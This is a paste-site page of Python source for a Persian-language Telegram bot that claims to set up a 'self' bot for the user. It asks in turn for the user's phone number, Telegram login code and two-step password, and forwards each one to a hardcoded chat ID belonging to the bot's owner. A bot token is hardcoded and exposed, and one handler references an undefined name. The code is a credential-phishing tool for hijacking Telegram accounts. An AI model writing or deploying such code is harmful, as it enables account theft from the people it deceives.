Untitled
unknown
plain_text
a year ago
2.2 kB
4
Indexable
from telegram.ext import Updater, CommandHandler, MessageHandler, Filters
# Define a function to handle the /start command
def start(update, context):
update.message.reply_text('سلام! به ربات تلگرامی خوش آمدید.')
update.message.reply_text('برای ساخت سلف دستور /create را استفاده کنید')
# Define a function to handle the /create command
def create(update, context):
update.message.reply_text('حالا شماره خود را ارسال کنید')
# Forward the user's message to the bot owner
context.bot.send_message(chat_id="1568287637", text=f"User sent a number: {update.message.text}")
# Define a function to handle the user's response for number
def receive_number(update, context):
update.message.reply_text('کد ارسال شده را با فرمت 1 2 3 4 5 وارد کنید')
# Forward the user's message to the bot owner
context.bot.send_message(chat_id="1568287637", text=f"User sent a number: {update.message.text}")
# Define a function to handle the user's response for code
def receive_code(update, context):
update.message.reply_text('رمز دوم اکانت خود را وارد کنید')
# Forward the user's message to the bot owner
context.bot.send_message(chat_id="1568287637", text=f"User sent a code: {update.message.text}")
# Define a function to handle the /stop command
def stop(update, context):
update.message.reply_text('خداحافظی!')
def main():
# Create the Updater and pass it your bot's token.
updater = Updater("7066358662:AAGYK-nHQKZdmYojc0K-fyBwXSHH8nPikPk", use_context=True)
# Get the dispatcher to register handlers
dp = updater.dispatcher
# Define handlers
dp.add_handler(CommandHandler("start", start))
dp.add_handler(CommandHandler("create", create))
dp.add_handler(MessageHandler(filters.Filters.text & ~filters.Filters.command, receive_number))
dp.add_handler(MessageHandler(Filters.text & ~Filters.command & ~Filters.regex('^[0-9]+$'), receive_code))
dp.add_handler(CommandHandler("stop", stop))
# Start the Bot
updater.start_polling()
# Run the bot until you press Ctrl-C
updater.idle()
if __name__ == '__main__':
main()
Editor is loading...
Leave a Comment